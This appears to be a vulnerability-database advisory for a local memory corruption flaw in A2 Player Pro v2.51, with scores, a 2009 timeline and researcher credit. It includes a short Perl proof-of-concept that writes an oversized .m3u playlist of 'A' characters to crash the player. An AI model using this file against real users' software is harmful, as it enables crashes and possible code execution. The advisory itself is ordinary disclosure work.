A2 Player Pro v2.51 memory corruption

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
4.8$0-$5k0.00

A vulnerability classified as problematic has been found in A2 Player Pro v2.51. Affected is an unknown part. The manipulation with an unknown input leads to a memory corruption vulnerability. CWE is classifying the issue as CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. This is going to have an impact on confidentiality, integrity, and availability.

The bug was discovered 07/13/2009. The weakness was published 07/13/2009 by Pim J.F. Campers as VL-ID 2 as not defined advisory (Website). The advisory is shared for download at vulnerability-lab.com. The attack needs to be approached locally. Technical details are unknown but a public exploit is available.

After immediately, there has been an exploit disclosed. The exploit is shared for download at vulnerability-lab.com. It is declared as proof-of-concept. The code used by the exploit is:

my $sploitfile="x4lt.m3u";
print " [+] Preparing payload\n";
my $junk = "A" x 5000;
my $payload = $junk;
print " [+] Writing payload to file\n";
open(sploitf,">$sploitfile");
print sploitf $payload;
close(sploitf);
print " [+] PoC file " . sploitfile . " created\n";
print " [+] Wrote " . length($payload) . " bytes\n";

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Productinfo

Vendor

Name

Version

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 5.3
VulDB Meta Temp Score: 4.8

VulDB Base Score: 5.3
VulDB Temp Score: 4.8
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Local: Yes
Remote: No

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

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Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

07/13/2009 🔍
07/13/2009 +0 days 🔍
07/13/2009 +0 days 🔍
09/05/2016 +2611 days 🔍
04/09/2019 +946 days 🔍

Sourcesinfo

Advisory: VL-ID 2
Researcher: Pim J.F. Campers
Status: Not defined
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 09/05/2016 23:16
Updated: 04/09/2019 12:40
Changes: 09/05/2016 23:16 (44), 04/09/2019 12:40 (1)
Complete: 🔍
Cache ID: 3:4C2:103

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